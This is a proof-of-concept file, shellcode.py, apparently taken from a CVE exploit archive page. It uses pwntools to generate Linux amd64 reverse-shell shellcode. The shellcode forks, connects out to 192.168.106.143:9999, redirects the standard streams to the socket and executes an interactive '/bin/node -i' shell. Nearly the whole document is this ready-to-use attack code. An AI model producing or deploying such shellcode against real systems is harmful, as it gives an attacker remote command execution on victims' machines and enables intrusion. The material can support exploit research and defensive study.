4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / shellcode.py PY
from pwn import *

context.arch = 'amd64'

def reverseshell(host,port):
  code  = ''
  code += pwnlib.shellcraft.amd64.linux.forkexit()
  code += pwnlib.shellcraft.amd64.linux.connect(host, port)
  code += '\n\n'
  code += pwnlib.shellcraft.amd64.linux.dup2('rbp',0)
  code += pwnlib.shellcraft.amd64.linux.dup2('rbp',1)
  code += pwnlib.shellcraft.amd64.linux.dup2('rbp',2)

  code += '''
    /* push b'/bin/node\x00' */
    sub rsp, 0x10
    mov dword ptr[rsp], 0x6e69622f
    mov dword ptr[rsp+4], 0x646f6e2f
    mov dword ptr[rsp+8], 0x65
    mov rax, rsp

    /* push b'-i\x00' */
    sub rsp, 0x8
    mov dword ptr[rsp], 0x692d
    mov rbx, rsp

    mov rdi, rax

    push 0
    push rbx
    push rax
    mov rsi, rsp

    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall
'''

  #print(code)
  shellcode = asm(code)
  return shellcode

def main():
  print(reverseshell('192.168.106.143',9999))

if __name__ == '__main__':
  main()